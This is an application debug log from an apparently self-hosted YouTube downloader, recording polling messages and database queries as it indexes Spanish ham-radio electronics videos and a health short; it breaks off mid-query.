22:55:56.778 [debug] Current batch of media processed. Will check again in 1000ms 22:55:56.856 [debug] Current batch of media processed. Will check again in 1000ms 22:55:57.779 [debug] Current batch of media processed. Will check again in 1000ms 22:55:57.857 [debug] Current batch of media processed. Will check again in 1000ms 22:55:58.780 [debug] Current batch of media processed. Will check again in 1000ms 22:55:58.858 [debug] Current batch of media processed. Will check again in 1000ms 22:55:59.781 [debug] Current batch of media processed. Will check again in 1000ms 22:55:59.859 [debug] Current batch of media processed. Will check again in 1000ms 22:56:00.137 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:00.782 [debug] Current batch of media processed. Will check again in 1000ms 22:56:00.860 [debug] Current batch of media processed. Will check again in 1000ms 22:56:01.783 [debug] Current batch of media processed. Will check again in 1000ms 22:56:01.861 [debug] Current batch of media processed. Will check again in 1000ms 22:56:02.784 [debug] Current batch of media processed. Will check again in 1000ms 22:56:02.862 [debug] Current batch of media processed. Will check again in 1000ms 22:56:03.785 [debug] Current batch of media processed. Will check again in 1000ms 22:56:03.863 [debug] Current batch of media processed. Will check again in 1000ms 22:56:04.786 [debug] Current batch of media processed. Will check again in 1000ms 22:56:04.864 [debug] Current batch of media processed. Will check again in 1000ms 22:56:05.787 [debug] Current batch of media processed. Will check again in 1000ms 22:56:05.865 [debug] Current batch of media processed. Will check again in 1000ms 22:56:06.788 [debug] Current batch of media processed. Will check again in 1000ms 22:56:06.866 [debug] Current batch of media processed. Will check again in 1000ms 22:56:07.789 [debug] Current batch of media processed. Will check again in 1000ms 22:56:07.867 [debug] Current batch of media processed. Will check again in 1000ms 22:56:08.790 [debug] Current batch of media processed. Will check again in 1000ms 22:56:08.868 [debug] Current batch of media processed. Will check again in 1000ms 22:56:09.791 [debug] Current batch of media processed. Will check again in 1000ms 22:56:09.869 [debug] Current batch of media processed. Will check again in 1000ms 22:56:10.792 [debug] Current batch of media processed. Will check again in 1000ms 22:56:10.870 [debug] Current batch of media processed. Will check again in 1000ms 22:56:11.793 [debug] Current batch of media processed. Will check again in 1000ms 22:56:11.871 [debug] Current batch of media processed. Will check again in 1000ms 22:56:12.794 [debug] Current batch of media processed. Will check again in 1000ms 22:56:12.872 [debug] Current batch of media processed. Will check again in 1000ms 22:56:13.795 [debug] Current batch of media processed. Will check again in 1000ms 22:56:13.873 [debug] Current batch of media processed. Will check again in 1000ms 22:56:14.796 [debug] Current batch of media processed. Will check again in 1000ms 22:56:14.874 [debug] Current batch of media processed. Will check again in 1000ms 22:56:15.797 [debug] Current batch of media processed. Will check again in 1000ms 22:56:15.875 [debug] Current batch of media processed. Will check again in 1000ms 22:56:16.798 [debug] Current batch of media processed. Will check again in 1000ms 22:56:16.876 [debug] Current batch of media processed. Will check again in 1000ms 22:56:17.799 [debug] Current batch of media processed. Will check again in 1000ms 22:56:17.877 [debug] Current batch of media processed. Will check again in 1000ms 22:56:18.800 [debug] Current batch of media processed. Will check again in 1000ms 22:56:18.878 [debug] Current batch of media processed. Will check again in 1000ms 22:56:19.801 [debug] Current batch of media processed. Will check again in 1000ms 22:56:19.879 [debug] Current batch of media processed. Will check again in 1000ms 22:56:20.802 [debug] Current batch of media processed. Will check again in 1000ms 22:56:20.880 [debug] Current batch of media processed. Will check again in 1000ms 22:56:21.302 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:21.803 [debug] Current batch of media processed. Will check again in 1000ms 22:56:21.881 [debug] Current batch of media processed. Will check again in 1000ms 22:56:22.804 [debug] Current batch of media processed. Will check again in 1000ms 22:56:22.882 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Os explico en este video como podemos usar una placa ampliamente disponible en Aliexpress (buscar por AD584) que contiene un integrado con salidas de tensión calibradas, para poder ajustar nuestro instrumental de laboratorio.\n\n#ad584 #radioaficionados #diyelectronics #hamradio #laboratorio #calibración #tensiones #electronica \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1225, "filename" => "/downloads/music/ea3grn/111 - CALIBRADOR TENSIONES AD584 PARA TU LABORATORIO DE ELECTRONICA.m4a", "id" => "83JN6P6mQW0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=83JN6P6mQW0", "playlist_index" => 70, "timestamp" => 1688659207, "title" => "111 - CALIBRADOR TENSIONES AD584 PARA TU LABORATORIO DE ELECTRONICA", "upload_date" => "20230706"} 22:56:22.883 [debug] QUERY OK source="sources" db=0.6ms idle=918.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:56:22.884 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=104.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:56:22.885 [debug] QUERY OK source="media_items" db=0.7ms idle=104.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 16:00:07Z], 3] 22:56:22.887 [debug] QUERY OK source="media_items" db=1.0ms idle=106.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Os explico en este video como podemos usar una placa ampliamente disponible en Aliexpress (buscar por AD584) que contiene un integrado con salidas de tensión calibradas, para poder ajustar nuestro instrumental de laboratorio.\n\n#ad584 #radioaficionados #diyelectronics #hamradio #laboratorio #calibración #tensiones #electronica \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "111 - CALIBRADOR TENSIONES AD584 PARA TU LABORATORIO DE ELECTRONICA", "062d37b1-15a0-4a0f-9ce0-8c4373a0fa3f", 1225, false, "83JN6P6mQW0", "https://www.youtube.com/watch?v=83JN6P6mQW0", 70, "/downloads/music/ea3grn/111 - CALIBRADOR TENSIONES AD584 PARA TU LABORATORIO DE ELECTRONICA.m4a", false, false, false, 3, [], 98, ~U[2023-07-06 16:00:07Z], ~U[2026-02-07 21:56:22Z], ~U[2026-02-07 21:56:22Z], "Os explico en este video como podemos usar una placa ampliamente disponible en Aliexpress (buscar por AD584) que contiene un integrado con salidas de tensión calibradas, para poder ajustar nuestro instrumental de laboratorio.\n\n#ad584 #radioaficionados #diyelectronics #hamradio #laboratorio #calibración #tensiones #electronica \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "111 - CALIBRADOR TENSIONES AD584 PARA TU LABORATORIO DE ELECTRONICA", 1225, false, "83JN6P6mQW0", "https://www.youtube.com/watch?v=83JN6P6mQW0", "/downloads/music/ea3grn/111 - CALIBRADOR TENSIONES AD584 PARA TU LABORATORIO DE ELECTRONICA.m4a", false, 3, ~U[2023-07-06 16:00:07Z]] 22:56:22.887 [debug] QUERY OK source="sources" db=0.4ms idle=107.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:56:22.888 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:56:22.889 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1443] 22:56:22.889 [debug] Current batch of media processed. Will check again in 1000ms 22:56:23.805 [debug] Current batch of media processed. Will check again in 1000ms 22:56:23.889 [debug] Current batch of media processed. Will check again in 1000ms 22:56:24.806 [debug] Current batch of media processed. Will check again in 1000ms 22:56:24.890 [debug] Current batch of media processed. Will check again in 1000ms 22:56:25.807 [debug] Current batch of media processed. Will check again in 1000ms 22:56:25.891 [debug] Current batch of media processed. Will check again in 1000ms 22:56:26.808 [debug] Current batch of media processed. Will check again in 1000ms 22:56:26.892 [debug] Current batch of media processed. Will check again in 1000ms 22:56:27.809 [debug] Current batch of media processed. Will check again in 1000ms 22:56:27.893 [debug] Current batch of media processed. Will check again in 1000ms 22:56:28.810 [debug] Current batch of media processed. Will check again in 1000ms 22:56:28.894 [debug] Current batch of media processed. Will check again in 1000ms 22:56:29.811 [debug] Current batch of media processed. Will check again in 1000ms 22:56:29.895 [debug] Current batch of media processed. Will check again in 1000ms 22:56:30.812 [debug] Current batch of media processed. Will check again in 1000ms 22:56:30.896 [debug] Current batch of media processed. Will check again in 1000ms 22:56:31.813 [debug] Current batch of media processed. Will check again in 1000ms 22:56:31.897 [debug] Current batch of media processed. Will check again in 1000ms 22:56:32.814 [debug] Current batch of media processed. Will check again in 1000ms 22:56:32.898 [debug] Current batch of media processed. Will check again in 1000ms 22:56:33.815 [debug] Current batch of media processed. Will check again in 1000ms 22:56:33.899 [debug] Current batch of media processed. Will check again in 1000ms 22:56:34.816 [debug] Current batch of media processed. Will check again in 1000ms 22:56:34.900 [debug] Current batch of media processed. Will check again in 1000ms 22:56:35.817 [debug] Current batch of media processed. Will check again in 1000ms 22:56:35.901 [debug] Current batch of media processed. Will check again in 1000ms 22:56:36.818 [debug] Current batch of media processed. Will check again in 1000ms 22:56:36.902 [debug] Current batch of media processed. Will check again in 1000ms 22:56:37.819 [debug] Current batch of media processed. Will check again in 1000ms 22:56:37.903 [debug] Current batch of media processed. Will check again in 1000ms 22:56:38.820 [debug] Current batch of media processed. Will check again in 1000ms 22:56:38.904 [debug] Current batch of media processed. Will check again in 1000ms 22:56:39.821 [debug] Current batch of media processed. Will check again in 1000ms 22:56:39.905 [debug] Current batch of media processed. Will check again in 1000ms 22:56:40.822 [debug] Current batch of media processed. Will check again in 1000ms 22:56:40.906 [debug] Current batch of media processed. Will check again in 1000ms 22:56:41.823 [debug] Current batch of media processed. Will check again in 1000ms 22:56:41.907 [debug] Current batch of media processed. Will check again in 1000ms 22:56:42.824 [debug] Current batch of media processed. Will check again in 1000ms 22:56:42.908 [debug] Current batch of media processed. Will check again in 1000ms 22:56:43.825 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 4: EXPOSOMA:Descubre el impacto del Exposoma en nuestra salud. Exploramos factores ambientales compartidos que nos afectan a todos. ¡Aprende cómo el aire, el ruido y el estrés influyen en nuestro bienestar! Únete a nuestra discusión sobre el Exposoma general. #Exposoma #SaludAmbiental #Bienestar #FactoresAmbientales #SaludPublica #MedioAmbiente #Estrés #CalidadDeVida #SaludNatural #InvestigacionSalud", "duration" => 42, "filename" => "/downloads/music/IA mí QUÉ/¡Tu Exposoma Revelado! 3 Claves Para Una Salud Imparable.m4a", "id" => "I44utqKSK60", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/I44utqKSK60", "playlist_index" => 15, "timestamp" => 1747817671, "title" => "¡Tu Exposoma Revelado! 3 Claves Para Una Salud Imparable", "upload_date" => "20250521"} 22:56:43.826 [debug] QUERY OK source="sources" db=0.6ms idle=1046.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:56:43.827 [debug] QUERY OK source="sources" db=0.4ms idle=1047.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:56:43.828 [debug] QUERY OK source="media_items" db=0.6ms idle=1047.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-21 08:54:31Z], 2] 22:56:43.829 [debug] QUERY OK source="media_items" db=0.9ms idle=1048.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 4: EXPOSOMA:Descubre el impacto del Exposoma en nuestra salud. Exploramos factores ambientales compartidos que nos afectan a todos. ¡Aprende cómo el aire, el ruido y el estrés influyen en nuestro bienestar! Únete a nuestra discusión sobre el Exposoma general. #Exposoma #SaludAmbiental #Bienestar #FactoresAmbientales #SaludPublica #MedioAmbiente #Estrés #CalidadDeVida #SaludNatural #InvestigacionSalud", "¡Tu Exposoma Revelado! 3 Claves Para Una Salud Imparable", "d4c15e18-b701-43e3-8d12-1a4aa0736b4a", 42, false, "I44utqKSK60", "https://www.youtube.com/shorts/I44utqKSK60", 15, "/downloads/music/IA mí QUÉ/¡Tu Exposoma Revelado! 3 Claves Para Una Salud Imparable.m4a", false, false, true, 2, [], 94, ~U[2025-05-21 08:54:31Z], ~U[2026-02-07 21:56:43Z], ~U[2026-02-07 21:56:43Z], "PARTE 4: EXPOSOMA:Descubre el impacto del Exposoma en nuestra salud. Exploramos factores ambientales compartidos que nos afectan a todos. ¡Aprende cómo el aire, el ruido y el estrés influyen en nuestro bienestar! Únete a nuestra discusión sobre el Exposoma general. #Exposoma #SaludAmbiental #Bienestar #FactoresAmbientales #SaludPublica #MedioAmbiente #Estrés #CalidadDeVida #SaludNatural #InvestigacionSalud", "¡Tu Exposoma Revelado! 3 Claves Para Una Salud Imparable", 42, false, "I44utqKSK60", "https://www.youtube.com/shorts/I44utqKSK60", "/downloads/music/IA mí QUÉ/¡Tu Exposoma Revelado! 3 Claves Para Una Salud Imparable.m4a", true, 2, ~U[2025-05-21 08:54:31Z]] 22:56:43.830 [debug] QUERY OK source="sources" db=0.4ms idle=823.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:56:43.831 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:56:43.831 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1392] 22:56:43.832 [debug] Current batch of media processed. Will check again in 1000ms 22:56:43.909 [debug] Current batch of media processed. Will check again in 1000ms 22:56:44.832 [debug] Current batch of media processed. Will check again in 1000ms 22:56:44.910 [debug] Current batch of media processed. Will check again in 1000ms 22:56:45.833 [debug] Current batch of media processed. Will check again in 1000ms 22:56:45.911 [debug] Current batch of media processed. Will check again in 1000ms 22:56:46.834 [debug] Current batch of media processed. Will check again in 1000ms 22:56:46.912 [debug] Current batch of media processed. Will check again in 1000ms 22:56:47.835 [debug] Current batch of media processed. Will check again in 1000ms 22:56:47.913 [debug] Current batch of media processed. Will check again in 1000ms 22:56:48.836 [debug] Current batch of media processed. Will check again in 1000ms 22:56:48.914 [debug] Current batch of media processed. Will check again in 1000ms 22:56:49.837 [debug] Current batch of media processed. Will check again in 1000ms 22:56:49.915 [debug] Current batch of media processed. Will check again in 1000ms 22:56:50.838 [debug] Current batch of media processed. Will check again in 1000ms 22:56:50.916 [debug] Current batch of media processed. Will check again in 1000ms 22:56:51.304 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:51.839 [debug] Current batch of media processed. Will check again in 1000ms 22:56:51.917 [debug] Current batch of media processed. Will check again in 1000ms 22:56:52.840 [debug] Current batch of media processed. Will check again in 1000ms 22:56:52.918 [debug] Current batch of media processed. Will check again in 1000ms 22:56:53.841 [debug] Current batch of media processed. Will check again in 1000ms 22:56:53.919 [debug] Current batch of media processed. Will check again in 1000ms 22:56:54.842 [debug] Current batch of media processed. Will check again in 1000ms 22:56:54.920 [debug] Current batch of media processed. Will check again in 1000ms 22:56:55.843 [debug] Current batch of media processed. Will check again in 1000ms 22:56:55.921 [debug] Current batch of media processed. Will check again in 1000ms 22:56:56.844 [debug] Current batch of media processed. Will check again in 1000ms 22:56:56.922 [debug] Current batch of media processed. Will check again in 1000ms 22:56:57.845 [debug] Current batch of media processed. Will check again in 1000ms 22:56:57.923 [debug] Current batch of media processed. Will check again in 1000ms 22:56:58.846 [debug] Current batch of media processed. Will check again in 1000ms 22:56:58.924 [debug] Current batch of media processed. Will check again in 1000ms 22:56:59.847 [debug] Current batch of media processed. Will check again in 1000ms 22:56:59.925 [debug] Current batch of media processed. Will check again in 1000ms 22:57:00.139 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:00.848 [debug] Current batch of media processed. Will check again in 1000ms 22:57:00.926 [debug] Current batch of media processed. Will check again in 1000ms 22:57:01.849 [debug] Current batch of media processed. Will check again in 1000ms 22:57:01.927 [debug] Current batch of media processed. Will check again in 1000ms 22:57:02.850 [debug] Current batch of media processed. Will check again in 1000ms 22:57:02.928 [debug] Current batch of media processed. Will check again in 1000ms 22:57:03.851 [debug] Current batch of media processed. Will check again in 1000ms 22:57:03.929 [debug] Current batch of media processed. Will check again in 1000ms 22:57:04.852 [debug] Current batch of media processed. Will check again in 1000ms 22:57:04.930 [debug] Current batch of media processed. Will check again in 1000ms 22:57:05.853 [debug] Current batch of media processed. Will check again in 1000ms 22:57:05.931 [debug] Current batch of media processed. Will check again in 1000ms 22:57:06.854 [debug] Current batch of media processed. Will check again in 1000ms 22:57:06.932 [debug] Current batch of media processed. Will check again in 1000ms 22:57:07.855 [debug] Current batch of media processed. Will check again in 1000ms 22:57:07.933 [debug] Current batch of media processed. Will check again in 1000ms 22:57:08.856 [debug] Current batch of media processed. Will check again in 1000ms 22:57:08.934 [debug] Current batch of media processed. Will check again in 1000ms 22:57:09.857 [debug] Current batch of media processed. Will check again in 1000ms 22:57:09.935 [debug] Current batch of media processed. Will check again in 1000ms 22:57:10.858 [debug] Current batch of media processed. Will check again in 1000ms 22:57:10.936 [debug] Current batch of media processed. Will check again in 1000ms 22:57:11.859 [debug] Current batch of media processed. Will check again in 1000ms 22:57:11.937 [debug] Current batch of media processed. Will check again in 1000ms 22:57:12.860 [debug] Current batch of media processed. Will check again in 1000ms 22:57:12.938 [debug] Current batch of media processed. Will check again in 1000ms 22:57:13.861 [debug] Current batch of media processed. Will check again in 1000ms 22:57:13.939 [debug] Current batch of media processed. Will check again in 1000ms 22:57:14.862 [debug] Current batch of media processed. Will check again in 1000ms 22:57:14.940 [debug] Current batch of media processed. Will check again in 1000ms 22:57:15.863 [debug] Current batch of media processed. Will check again in 1000ms 22:57:15.941 [debug] Current batch of media processed. Will check again in 1000ms 22:57:16.864 [debug] Current batch of media processed. Will check again in 1000ms 22:57:16.942 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Como solucionar un problema de sobretensión en el cargador (en la bañera como se le dice por aquí) del walkie Retevis RT3. Es un modelo con bastantes años pero no había sido consciente del problema hasta ahora.\n\nEnlace pagina con instrucciones detalladas de la modificación a la base de carga del Retevis https://www.qsl.net/dl4yhf/RT3/#RT3_LiIon_Charger\n\nEnlace canal Podcast CQ en Frecuencia (EA1IVB): \nhttps://cqenfrecuencia.com\nhttps://www.ivoox.com/podcast-cq-frecuencia_sq_f11818436_1.html\nhttps://open.spotify.com/show/1Ij2tF3SHuVgx21jWns98x?si=4bbd36a1148a40c5\nhttps://www.youtube.com/channel/UC2Py-FvXz8aYV5ZNqXfiC_g\n\n#retevis #batería #radioafición #hamradio #reparación #diyelectronics #dmr #cqenfrecuencia #podcast\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:57 - Intro Canal\n01:15 - El problema\n05:30 - La web de DL4YHF\n06:38 - La solución\n09:03 - Reparación\n12:25 - Verificando\n13:23 - Podcast CQ en Frecuencia\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 885, "filename" => "/downloads/music/ea3grn/110 - MODIFICANDO CARGADOR RETEVIS DMR RT3 REPARACION SOBRETENSION.m4a", "id" => "-nfWuAxw9LU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-nfWuAxw9LU", "playlist_index" => 71, "timestamp" => 1688049888, "title" => "110 - MODIFICANDO CARGADOR RETEVIS DMR RT3 REPARACION SOBRETENSION", "upload_date" => "20230629"} 22:57:16.943 [debug] QUERY OK source="sources" db=0.6ms idle=1163.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:57:16.944 [debug] QUERY OK source="sources" db=0.5ms idle=1164.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:57:16.945 [debug] QUERY OK source="media_items" db=0.8ms idle=1164.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-29 14:44:48Z], 3] 22:57:16.947 [debug] QUERY OK source="media_items" db=1.2ms idle=1166.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = 